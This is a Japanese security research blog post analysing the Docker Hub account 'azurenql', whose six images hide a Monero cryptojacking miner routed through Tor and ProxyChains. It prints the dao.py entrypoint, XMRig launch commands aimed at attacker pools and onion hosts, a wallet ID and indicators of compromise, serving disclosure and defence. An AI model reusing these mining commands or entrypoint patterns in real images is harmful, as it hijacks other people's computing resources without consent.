This post is also available in: English (英語)
概要
ここ数年、効率よくソフトウェア アプリケーションをパッケージ化できるDockerコンテナが人気を博しています。そしてDocker Hubは、そうして作成したソフトウェア アプリケーションをユーザーや企業が共有する強力なコミュニティベース モデルとなっています。ただし、悪意のある攻撃者たちも、Dockerコンテナにクリプトジャッキングを仕掛け、侵害したイメージをDocker Hub経由で配信することで、ひと儲けしてやろうと注目しています。
パロアルトネットワークスは、2019年10月以降から活動しているazurenqlというアカウントを悪意のあるDocker Hubアカウントとして特定しました。このアカウントは、仮想通貨Moneroのマイニングをもくろむ悪意のあるイメージを6つホストしています。このイメージ内に仕掛けられている暗号通貨(仮想通貨)のマイニングコードは、ProxyChainsやTorなどのネットワーク匿名化ツールを使用して、ネットワーク検出を回避しようとします。このアカウントでホストされているイメージは、合計で200万回取得されています。参考までに、Docker Hubのマイクロソフトの公式アカウントでは、正当なAzure関連のイメージが数千回から1億回余り取得されています。特定したウォレットIDの1つは、少なくとも525.38XMR(米国ドルで約36,000ドル、日本円で約387万 円)を稼ぐのに使用されています。さらに、パロアルトネットワークスは、前回minexmr.comでこのウォレットIDをチェックしたときに、このウォレットIDがいまだに使用されていることを示す新しいアクティビティを確認しています。
弊社からの通知を受け、ただちに当該の悪意のあるDocker Hubアカウントを削除する対応をとってくださったDocker Hubのすばらしいセキュリティチームに、心から感謝申し上げます。
パロアルトネットワークスのお客様は、次世代ファイアウォールのThreat PreventionシグネチャおよびPrisma Cloudを通じて、この脅威から保護されています。
はじめに
パロアルトネットワークスは、Moneroをマイニングする悪意のあるイメージを6つホストしている8つのリポジトリを含む、Docker Hubコミュニティ ユーザー アカウント、azurenqlを特定しました。以下に、このアカウントとそのリポジトリのスクリーンショットを示します。
以下の表1に、このDocker Hubアカウントに存在するすべてのイメージの概要を、取得回数の多い順に示します。注目すべきは、トップのイメージが147万回取得されていることです。
イメージ名 | リポジトリダイジェスト | イメージID | 最終更新日 | サイズ
(MB) |
取得回数 |
azurenql/53_57:442 | 7bb3553eea.. | 82527b2cf0.. | 2019-12-02T18:15:07 | 529 | 1476110 |
azurenql/93_164:442 | e0bc99060c.. | 2943a51346.. | 2019-10-31T22:14:46 | 521 | 761191 |
azurenql/234_122:442 | 8c24aac84a.. | 4598f07f42.. | 2019-12-02T20:25:50 | 529 | 567185 |
azurenql/227_135:442 | c42b461d06.. | 87ed2bf1b7.. | 2019-12-03T13:18:19 | 529 | 547510 |
azurenql/227_135_app:442 | 8fd6a0ad7d.. | d9dc7dc415.. | 2019-10-26T20:39:01 | 521 | 8134 |
azurenql/227_135_tor:442 | a8dfce336c.. | 4bb08b8d20.. | 2019-10-26T07:06:09 | 521 | 6064 |
66_42_53_57 | なし | なし | なし | 0 | 0 |
test | なし | なし | なし | 0 | 0 |
表1: 問題のDocker Hubアカウントに存在するイメージの概要
Dockerイメージの構造
イメージの構築方法を理解するために、イメージazurenql/227_135:442のイメージ構造を確認しました。このイメージは、以下の手順で構築されています。
1. 「ベースイメージ」としてUbuntu 16.04.6 LTSを使用します。
2. gcc、make、pythonなどのソースからビルドに必要な依存関係をインストールします。
3. トラフィックを匿名化するためにTorをインストールします。Torは、そのデフォルトポートの9050をリスンするように構成されています。
1 2 |
/etc/tor/torrc 127.0.0.1:9050 |
4. ProxyChains-NGのソースをコピーして、ソースからビルドします。ProxyChains configは、ローカルのTor SOCKSプロキシ接続経由でそのトラフィックをルーティングするように、デフォルトのまま残されます。
1 2 3 4 |
/usr/local/etc/proxychains.conf [ProxyList] # defaults set to "tor" socks4 127.0.0.1 9050 |
5. マイニングソフトウェアXMRigのソースをコピーして、ソースからビルドします。
6. カスタムpythonスクリプトdao.pyをコピーして、イメージのエントリポイントとして設定します。
以下の図2にこの手順を示します。
カスタムスクリプトdao.pyの分析
これらのイメージの作成者は、dao.pyという名前のカスタムPythonスクリプトを使用しています。このスクリプトは、コンテナ内でマイニングプロセスを開始する機能を持ち、すべてのイメージに含まれています。
前述したように、このスクリプトは、イメージが起動されたらすぐにこのスクリプトが動作するように、イメージのエントリポイントとして登録されています。
1 2 3 4 5 |
"Entrypoint": [ "/bin/sh", "-c", "python /etc/dao.py" ], |
表1のすべてのDockerイメージに、このdao.pyスクリプトの亜種が含まれています。これらのイメージに含まれる複数のdao.pyスクリプトの唯一の違いは、コマンドラインでXMRigを起動する方法です。表2に、コマンドラインでXMRigを起動するさまざまな方法を示します。
dao.pyスクリプトの実行フローの概要:
1. システムのCPUコア数を確認します。
2. ハッシュレートが増えるようにhugepagesシステムプロパティを設定します。
3. Torをインストールして依存関係を構築します。
4. proxychains-ngがまだインストールされていない場合、https://github.com/rofl0r/proxychains-ng.gitからインストールします。
5. XMRigバイナリ(dll)が/usr/local/binに存在しない場合、https://github.com/nguyennhatduy2608/azures/raw/master/からダウンロードします。
6. /usr/local/binにあるXMRigバイナリ(dll)と/usr/binのシンボリックリンクを作成します。
7. バックグラウンドでTorを起動します。
8. proxychainsからマイニングソフトを起動します。マイニングソフトは、前述したように、ローカルのTor SOCKSプロキシ経由でそのトラフィックをルーティングします。表2に、複数のバージョンのdao.pyで使用されるさまざまなマイニングコマンドの全リストを示します。
このスクリプトの実行ワークフローを、図5にも示します。
Image_Name | Dao.py hash | Crypto command |
azurenql/234_122:442 | 3a04405e83.. | os.system ('proxychains4 ' + program + ' -o stratum+tcp://155.138.234.122:442 --tls -t ' + str(cores)) |
azurenql/227_135:442 | 937d59ca35.. | os.system ('proxychains4 ' + program + ' -o stratum+tcp://155.138.227.135:442 --tls -t ' + str(cores)) |
azurenql/227_135_tor:442 | b7e07fc8ea.. | os.system ('proxychains4 ' + program + ' --donate-level 1 -o stratum+tcp://5pwcq42aa42fjzel.onion:442 --tls -t ' + str(cores)) |
azurenql/227_135_app:442 | de518f1690.. | os.system ('proxychains4 ' + program + ' -o stratum+tcp://155.138.227.135:442 --tls -t ' + str(cores)) |
azurenql/93_164:442 | 81496a54fe.. | os.system ('proxychains4 ' + program + ' --donate-level 1 -o stratum+tcp://66.42.93.164:442 --tls -t ' + str(cores)) |
azurenql/53_57:442 | 5d1cb23f8f.. | os.system ('proxychains4 ' + program + ' -o stratum+tcp://66.42.53.57:442 --tls -t ' + str(cores)) |
表2: dao.pyスクリプトで使用するさまざまなマイニングコマンド
マイニングインフラストラクチャ
暗号通貨マイニングとは、複雑な計算問題を解くことであり、それによってユーザーは取引ブロックを連結できます。上記のイメージは、被害システムの処理能力を利用して取引を検証します。ここで、イメージ作成者は、ユーザーの環境内で悪意のあるイメージを実行することによって、2つの方法でブロックをマイニングします。
1番目の方法は、攻撃者がマイニングしたブロックをウォレットIDを使用して中央のminexmrのプールに直接送信します。
1 |
os.system ('xmrig --av=7 --variant 1 --donate-level=0 -o stratum+tcp://pool.minexmr.com:4444 -u 43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf+20001') |
Moneroマイニングプールのminexmr.comでこのウォレットIDを検索したところ、このウォレットIDがいまだに使用されていることを示す新しいアクティビティを確認しています。
以下の図6に、2020年の4月と5月に行われたこのウォレットのマイニングアクティビティを示します。
以下の図7は、このウォレットIDがすでに525.38XMRを稼いでいることを示しています。これは、約36,000米国ドルに相当します。
一方、2番目の方法では、作成者は、ホスティングサービス上にインスタンスを導入して独自のマイニングプールを実行し、それを使用してマイニングしたブロックを収集します。
表2の暗号コマンド列に、この方法の例が示されています。
1 |
os.system ('proxychains4 ' + program + ' --donate-level 1 -o stratum+tcp://66.42.93.164:442 --tls -t ' + str(cores)) |
結論
Dockerコンテナは、その普及率の継続的な拡大からも明らかなとおり、ソフトウェアのパッケージ化をうまく効率化してくれます。ですが同時に、Dockerコンテナを暗号通貨マイニングと組み合わせ、悪意のある攻撃者が構築したイメージをDockerをサポートするマシンに配布することにより、すぐさま計算リソースがクリプトジャッキングに利用されてしまいます。
パロアルトネットワークスの次世代ファイアウォールのお客様がThreat Preventionを購読している場合、この脅威から保護されています。パロアルトネットワークスは、このブログ記事で特定している悪意のあるイメージがネットワーク経由で配信されるのを防ぐために、脅威シグネチャをリリースしています。このシグネチャの詳細を以下に示します。
脅威ID | 名前 |
85887 | 暗号通貨マイニングDockerイメージの検出 |
表3: NGFWカバレッジのシグネチャの説明
さらに弊社では、以下に示すようなセキュリティ ベストプラクティスを推奨します。
- 信頼できないリポジトリからのベース イメージの取得や使用は避ける
- パロアルトネットワークスの次世代ファイアウォールで最新のアプリケーション/脅威シグネチャを利用する
- パロアルトネットワークスのPrisma Cloudを使用しクラウド上でのデプロイを保護する
セキュリティ侵害の兆候
イメージ
イメージ名 | リポジトリダイジェスト | イメージID |
azurenql/53_57:442 | 7bb3553eea6e049a943bc2077949bc767daab2c3c993ce1001176f81c9dbb565 | 82527b2cf0c741e43d5beb2f7dd9c8ef8c18019a00e9d6cde8481ca170d92159 |
azurenql/93_164:442 | e0bc99060cc2374d7b6a2593d512087a00b25ed3f6aa96aa044f90bf7e755b9b | 2943a51346c979bc637d58af4314eb234ebe6c094f636e604936fdba987b80e6 |
azurenql/234_122:442 | 8c24aac84a7da666cde299a825e762b929baedb4f77722e9f7b1959066284d0c | 4598f07f42ce42ee0407493bd4230dcc84879b90632afdd5a6e63a9dd7c19e9a |
azurenql/227_135:442 | c42b461d0685cf6f9a020d22c0479867ddaa0fe74527d45b6daf436c2f8085c8 | 87ed2bf1b7be74c5ec7bedb39069e580fd66c7c9b6c306049e3755dd2b269572 |
azurenql/227_135_app:442 | 8fd6a0ad7d3832112b592ab2ec24bb94c90714373caa0ef7e625f0df0d171849 | d9dc7dc4152f538a31c0a04b59c38df587a6a740af5569541f5e30d0f089e32f |
azurenql/227_135_tor:442 | a8dfce336cca4143ec99f118d4ec9d0ee791c3f8f1816043c21f5bbd006209ff | 4bb08b8d20b45fa8b592c84836ef6acc6427855f30de9f07beb4b5aed3a1d098 |
マイニング インフラストラクチャ
ウォレットID
- 43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf
ホスト名:ポート
- 73avhutb24chfsh6[.]onion:442
- 5pwcq42aa42fjzel[.]onion:442
- pool[.]minexmr.com:4444
IP:ポート
- 66[.]42.93.164:442
- 155[.]138.234.122:442
- 155[.]138.227.135:442
- 66[.]42.53.57:442
- 144[.]202.23.108:4444
サンプル
- dao.py script hashes
- 3a04405e8377dd1f159949e8acb0fa590fff965a871dc7cdc434216a4c253d1f
- 937d59ca356cac225c66b956d521ceaf60a4830584eea7941e378087391e0d8b
- b7e07fc8eaed7b1abbd70a5b8b7b885a1dd0012498e9389b9db9fdc46cd26ef9
- de518f16907ee056af49f60f098101a97cad7bcf76833169bbdfd89c06b6da93
- 81496a54fe3f9a7aace5b282e42853002fa2fde74a8782205edbd0106b0b8acd
- 5d1cb23f8f0ecd82769e9d346a06851927ac9738af1d0173c85f5457ffbde71c
Docker Hubアカウント
- hub.docker.com/u/azurenql